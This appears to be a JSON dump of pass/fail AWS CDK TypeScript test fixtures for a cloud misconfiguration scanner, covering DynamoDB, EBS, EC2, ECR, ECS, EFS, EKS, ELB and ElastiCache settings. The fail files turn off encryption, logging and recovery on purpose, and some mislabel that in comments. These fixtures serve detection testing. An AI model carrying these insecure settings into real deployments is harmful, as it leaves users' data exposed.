    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dynamodb from 'aws-cdk-lib/aws-dynamodb';\n\nexport class DynamoDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DynamoDB table\n    const table = new dynamodb.CfnTable(this, 'MyTable', {\n      tableName: 'MyTable',\n      attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }],\n      keySchema: [{ attributeName: 'id', keyType: 'HASH' }],\n      provisionedThroughput: {\n        readCapacityUnits: 5,\n        writeCapacityUnits: 5,\n      },\n    });\n\n    // Define the DynamoDB global table\n    const globalTable = new dynamodb.CfnGlobalTable(this, 'MyGlobalTable', {\n      globalTableName: 'MyGlobalTable',\n      replicationGroup: [{\n        region: 'us-east-1', // Replace with your preferred region\n      }],\n      sourceTableName: table.ref,\n      pointInTimeRecoverySpecification: {\n        pointInTimeRecoveryEnabled: true, // Enable point-in-time recovery for the global table\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DynamoDBStack(app, 'DynamoDBStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DynamodcRecovery/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dynamodb from 'aws-cdk-lib/aws-dynamodb';\n\nexport class DynamoDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DynamoDB table\n    const table = new dynamodb.CfnTable(this, 'MyTable', {\n      tableName: 'MyTable',\n      attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }],\n      keySchema: [{ attributeName: 'id', keyType: 'HASH' }],\n      provisionedThroughput: {\n        readCapacityUnits: 5,\n        writeCapacityUnits: 5,\n      },\n      pointInTimeRecoverySpecification: {\n        pointInTimeRecoveryEnabled: false, // disable point-in-time recovery for the table\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DynamoDBStack(app, 'DynamoDBStack');\napp.synth();\n\n\nexport class DynamoDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DynamoDB table with point-in-time recovery enabled\n    const table = new dynamodb.Table(this, 'MyTable', {\n      tableName: 'MyTable',\n      partitionKey: { name: 'id', type: dynamodb.AttributeType.STRING },\n      readCapacity: 5,\n      writeCapacity: 5,\n      removalPolicy: cdk.RemovalPolicy.DESTROY, // Optional: specify removal policy\n      timeToLiveAttribute: 'ttlAttribute', // Enable point-in-time recovery\n      pointInTimeRecovery: false, // Enable point-in-time recovery\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DynamoDBStack(app, 'DynamoDBStack');\napp.synth();\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DynamodcRecovery/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dynamodb from 'aws-cdk-lib/aws-dynamodb';\n\nexport class DynamoDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DynamoDB table\n    const table = new dynamodb.CfnTable(this, 'MyTable', {\n      tableName: 'MyTable',\n      attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }],\n      keySchema: [{ attributeName: 'id', keyType: 'HASH' }],\n      provisionedThroughput: {\n        readCapacityUnits: 5,\n        writeCapacityUnits: 5,\n      },\n      pointInTimeRecoverySpecification: {\n        pointInTimeRecoveryEnabled: true, // Enable point-in-time recovery for the table\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DynamoDBStack(app, 'DynamoDBStack');\napp.synth();\n\n\nexport class DynamoDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DynamoDB table with point-in-time recovery enabled\n    const table = new dynamodb.Table(this, 'MyTable', {\n      tableName: 'MyTable',\n      partitionKey: { name: 'id', type: dynamodb.AttributeType.STRING },\n      readCapacity: 5,\n      writeCapacity: 5,\n      removalPolicy: cdk.RemovalPolicy.DESTROY, // Optional: specify removal policy\n      timeToLiveAttribute: 'ttlAttribute', // Enable point-in-time recovery\n      pointInTimeRecovery: true, // Enable point-in-time recovery\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DynamoDBStack(app, 'DynamoDBStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EBSEncryption/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\n\nexport class EC2Stack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create an EC2 instance\n    const instance = new ec2.Instance(this, 'MyInstance', {\n      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO),\n      machineImage: ec2.MachineImage.latestAmazonLinux(),\n      vpc: new ec2.Vpc(this, 'MyVpc'),\n    });\n\n    // Create an EBS volume with encryption enabled\n    const volume = new ec2.Volume(this, 'MyVolume', {\n      availabilityZone: instance.instanceAvailabilityZone,\n      size: ec2.Size.gibibytes(10), // Specify the volume size\n      encrypted: false, // Disable encryption for the volume\n    });\n\n    // Attach the volume to the instance\n    instance.instance.addVolumeAttachment('MyVolumeAttachment', {\n      volume,\n      device: '/dev/sdf', // Specify the device name\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew EC2Stack(app, 'EC2Stack');\napp.synth();\n\n\nexport class EC2Stack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create an EC2 instance\n    const instance = new ec2.Instance(this, 'MyInstance', {\n      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO),\n      machineImage: ec2.MachineImage.latestAmazonLinux(),\n      vpc: new ec2.Vpc(this, 'MyVpc'),\n    });\n\n    // Create an EBS volume with encryption enabled\n    const volume = new ec2.CfnVolume(this, 'MyVolume', {\n      availabilityZone: instance.instanceAvailabilityZone,\n      size: 10, // Specify the volume size in GiB\n      encrypted: false, // Enable encryption for the volume\n    });\n\n    // Attach the volume to the instance\n    new ec2.CfnVolumeAttachment(this, 'MyVolumeAttachment', {\n      instanceId: instance.instanceId,\n      volumeId: volume.ref,\n      device: '/dev/sdf', // Specify the device name\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew EC2Stack(app, 'EC2Stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EBSEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\n\nexport class EC2Stack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create an EC2 instance\n    const instance = new ec2.Instance(this, 'MyInstance', {\n      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO),\n      machineImage: ec2.MachineImage.latestAmazonLinux(),\n      vpc: new ec2.Vpc(this, 'MyVpc'),\n    });\n\n    // Create an EBS volume with encryption enabled\n    const volume = new ec2.Volume(this, 'MyVolume', {\n      availabilityZone: instance.instanceAvailabilityZone,\n      size: ec2.Size.gibibytes(10), // Specify the volume size\n      encrypted: true, // Enable encryption for the volume\n    });\n\n    // Attach the volume to the instance\n    instance.instance.addVolumeAttachment('MyVolumeAttachment', {\n      volume,\n      device: '/dev/sdf', // Specify the device name\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew EC2Stack(app, 'EC2Stack');\napp.synth();\n\n\n\nexport class EC2Stack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create an EC2 instance\n    const instance = new ec2.Instance(this, 'MyInstance', {\n      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T2, ec2.InstanceSize.MICRO),\n      machineImage: ec2.MachineImage.latestAmazonLinux(),\n      vpc: new ec2.Vpc(this, 'MyVpc'),\n    });\n\n    // Create an EBS volume with encryption enabled\n    const volume = new ec2.CfnVolume(this, 'MyVolume', {\n      availabilityZone: instance.instanceAvailabilityZone,\n      size: 10, // Specify the volume size in GiB\n      encrypted: true, // Enable encryption for the volume\n    });\n\n    // Attach the volume to the instance\n    new ec2.CfnVolumeAttachment(this, 'MyVolumeAttachment', {\n      instanceId: instance.instanceId,\n      volumeId: volume.ref,\n      device: '/dev/sdf', // Specify the device name\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew EC2Stack(app, 'EC2Stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EC2PublicIP/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        const vpc = new ec2.Vpc(this, 'VPC', {\n            cidr: '10.0.0.0/16',\n            natGateways: 0,\n            maxAzs: 2,\n            subnetConfiguration: [\n                {\n                    name: 'public-subnet-1',\n                    subnetType: ec2.SubnetType.PUBLIC,\n                    cidrMask: 24,\n                },\n            ],\n        });\n\n        const instance = new ec2.Instance(this, 'Instance', {\n            vpc,\n            vpcSubnets: {subnetGroupName: 'public-subnet-1'},\n            instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.NANO),\n            machineImage: new ec2.AmazonLinuxImage({generation: ec2.AmazonLinuxGeneration.AMAZON_LINUX_2}),\n            detailedMonitoring: true,\n            associatePublicIpAddress: true\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EC2PublicIP/fail_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        const vpc = new ec2.Vpc(this, 'VPC', {\n            cidr: '10.0.0.0/16',\n            natGateways: 0,\n            maxAzs: 2,\n            subnetConfiguration: [\n                {\n                    name: 'public-subnet-1',\n                    subnetType: ec2.SubnetType.PUBLIC,\n                    cidrMask: 24,\n                },\n            ],\n        });\n\n        const sg1 = new ec2.SecurityGroup(this, 'sg1', {\n            vpc: vpc,\n        });\n\n        const launchTemplate = new ec2.LaunchTemplate(this, 'LaunchTemplate', {\n            machineImage: ec2.MachineImage.latestAmazonLinux2023(),\n            securityGroup: sg1,\n            associatePublicIpAddress: true\n        });\n\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EC2PublicIP/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        const vpc = new ec2.Vpc(this, 'VPC', {\n            cidr: '10.0.0.0/16',\n            natGateways: 0,\n            maxAzs: 2,\n            subnetConfiguration: [\n                {\n                    name: 'public-subnet-1',\n                    subnetType: ec2.SubnetType.PUBLIC,\n                    cidrMask: 24,\n                },\n            ],\n        });\n\n        const instance = new ec2.Instance(this, 'Instance', {\n            vpc,\n            vpcSubnets: {subnetGroupName: 'public-subnet-1'},\n            instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.NANO),\n            machineImage: new ec2.AmazonLinuxImage({generation: ec2.AmazonLinuxGeneration.AMAZON_LINUX_2}),\n            detailedMonitoring: true,\n            associatePublicIpAddress: false\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECRImageScanning/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecr from 'aws-cdk-lib/aws-ecr';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const repository = new ecr.Repository(this, 'Repo', {} );\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECRImageScanning/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecr from 'aws-cdk-lib/aws-ecr';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const repository = new ecr.Repository(this, 'Repo', {\n            imageScanOnPush: true\n        } );\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECRImmutableTags/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecr from 'aws-cdk-lib/aws-ecr';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const repository = new ecr.Repository(this, 'Repo', {} );\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECRImmutableTags/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecr from 'aws-cdk-lib/aws-ecr';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const repository = new ecr.Repository(this, 'Repo', {\n            imageTagMutability: ecr.TagMutability.IMMUTABLE\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECRRepositoryEncrypted/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecr from 'aws-cdk-lib/aws-ecr';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const repository = new ecr.Repository(this, 'Repo', {} );\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECRRepositoryEncrypted/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecr from 'aws-cdk-lib/aws-ecr';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const repository = new ecr.Repository(this, 'Repo', {\n            encryption: ecr.RepositoryEncryption.KMS\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECRRepositoryEncrypted/pass_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecr from 'aws-cdk-lib/aws-ecr';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const repository = new ecr.Repository(this, 'Repo', {\n            encryptionKey: new kms.Key(this, 'Key')\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECSClusterContainerInsights/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecs from 'aws-cdk-lib/aws-ecs';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const vpc = new ec2.Vpc(this, 'Vpc', {maxAzs: 1});\n        const cluster = new ecs.Cluster(this, 'EcsCluster', {vpc});\n        const cluster2 = new ecs.Cluster(this, 'EcsCluster2', {vpc, containerInsights: false});\n        const cluster3 = new ecs.Cluster(this, 'EcsCluster3', {vpc, containerInsightsV2: ecs.ContainerInsights.DISABLED});\n\n        const cluster4 = new ecs.CfnCluster(this, 'EcsCluster4', {clusterSettings: []});\n        const cluster5 = new ecs.CfnCluster(this, 'EcsCluster5', {clusterSettings: [{name: 'containerInsights', value: 'disabled'}]});\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECSClusterContainerInsights/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecs from 'aws-cdk-lib/aws-ecs';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const vpc = new ec2.Vpc(this, 'Vpc', {maxAzs: 1});\n        const cluster = new ecs.Cluster(this, 'EcsCluster', {vpc, containerInsights: true});\n        const cluster2 = new ecs.Cluster(this, 'EcsCluster2', {vpc, containerInsightsV2: ecs.ContainerInsights.ENABLED});\n        const cluster3 = new ecs.Cluster(this, 'EcsCluster6', {vpc, containerInsightsV2: ecs.ContainerInsights.ENHANCED});\n\n        const cluster4 = new ecs.CfnCluster(this, 'EcsCluster4', {clusterSettings: [{name: 'containerInsights', value: 'enabled'}]});\n        const cluster5 = new ecs.CfnCluster(this, 'EcsCluster5', {clusterSettings: [{value: 'enhanced', name: 'containerInsights'}]});\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECSTaskDefinitionEFSVolumeEncryption/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecs from 'aws-cdk-lib/aws-ecs';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const taskDefinition = new ecs.Ec2TaskDefinition(this, 'TaskDef', {\n            volumes:\n            [\n                {\n                    name:\"my-volume\",\n                    efsVolumeConfiguration:{\n                        transitEncryption: \"DISABLED\"\n                    }\n                }\n            ]\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECSTaskDefinitionEFSVolumeEncryption/fail_2.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecs from 'aws-cdk-lib/aws-ecs';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const taskDefinition = new ecs.FargateTaskDefinition(this, 'TaskDef', {\n            volumes:\n            [\n                {\n                    name:\"my-volume\",\n                    efsVolumeConfiguration:{\n                        transitEncryption: \"DISABLED\"\n                    }\n                }\n            ]\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ECSTaskDefinitionEFSVolumeEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ecs from 'aws-cdk-lib/aws-ecs';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const taskDefinition = new ecs.Ec2TaskDefinition(this, 'TaskDef', {\n            volumes:\n            [\n                {\n                    name:\"my-volume\",\n                    efsVolumeConfiguration:{\n                        transitEncryption: \"ENABLED\"\n                    }\n                }\n            ]\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EFSEncryptionEnabled/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport * as efs from 'aws-cdk-lib/aws-efs';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const fileSystem = new efs.FileSystem(this, 'MyEfsFileSystem', {\n            vpc: new ec2.Vpc(this, 'VPC')\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EFSEncryptionEnabled/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport * as efs from 'aws-cdk-lib/aws-efs';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const fileSystem = new efs.FileSystem(this, 'MyEfsFileSystem', {\n            vpc: new ec2.Vpc(this, 'VPC'),\n            encrypted: true\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EKSSecretsEncryption/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_eks as eks} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnCluster = new eks.CfnCluster(this, 'MyCfnCluster', {\n            resourcesVpcConfig: {\n                subnetIds: ['subnetIds']\n            },\n            roleArn: 'roleArn',\n            name: 'name',\n            version: 'version'\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/EKSSecretsEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_eks as eks} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnCluster = new eks.CfnCluster(this, 'MyCfnCluster', {\n            resourcesVpcConfig: {\n                subnetIds: ['subnetIds']\n            },\n            roleArn: 'roleArn',\n            encryptionConfig: [{\n                resources: ['secrets']\n            }],\n            name: 'name',\n            version: 'version'\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ELBAccessLogs/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport * as elb from 'aws-cdk-lib/aws-elasticloadbalancing';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const vpc = new ec2.Vpc(this, 'VPC')\n        const lb = new elb.LoadBalancer(this, 'LB', {\n            vpc\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ELBAccessLogs/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport * as elb from 'aws-cdk-lib/aws-elasticloadbalancing';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const vpc = new ec2.Vpc(this, 'VPC')\n        const lb = new elb.LoadBalancer(this, 'LB', {\n            vpc, accessLoggingPolicy: {\n                enabled: true\n            }\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ELBv2AccessLogs/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport * as elbv2 from 'aws-cdk-lib/aws-elasticloadbalancingv2';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const vpc = new ec2.Vpc(this, 'VPC')\n        const lb = new elbv2.ApplicationLoadBalancer(this, 'LB', {\n            vpc\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ELBv2AccessLogs/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport * as elbv2 from 'aws-cdk-lib/aws-elasticloadbalancingv2';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const vpc = new ec2.Vpc(this, 'VPC')\n        const loggingBucket = new s3.Bucket(this, 'loggingBucket', {\n            encryption: s3.BucketEncryption.S3_MANAGED,\n        });\n        const lb = new elbv2.ApplicationLoadBalancer(this, 'LB', {\n            vpc\n        });\n\n        lb.logAccessLogs(loggingBucket);\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtRest/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_elasticache as elasticache} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', {\n            replicationGroupDescription: 'replicationGroupDescription',\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtRest/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_elasticache as elasticache} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', {\n            replicationGroupDescription: 'replicationGroupDescription',\n            atRestEncryptionEnabled: true,\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransit/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_elasticache as elasticache} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', {\n            replicationGroupDescription: 'replicationGroupDescription',\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransit/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_elasticache as elasticache} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', {\n            replicationGroupDescription: 'replicationGroupDescription',\n            transitEncryptionEnabled: true\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport {aws_elasticache as elasticache} from 'aws-cdk-lib';\nimport {Construct} from 'constructs';\n\nexport class exampleStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n        const cfnReplicationGroup = new elasticache.CfnReplicationGroup(this, 'MyCfnReplicationGroup', {\n            replicationGroupDescription: 'replicationGroupDescription',\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass.ts",
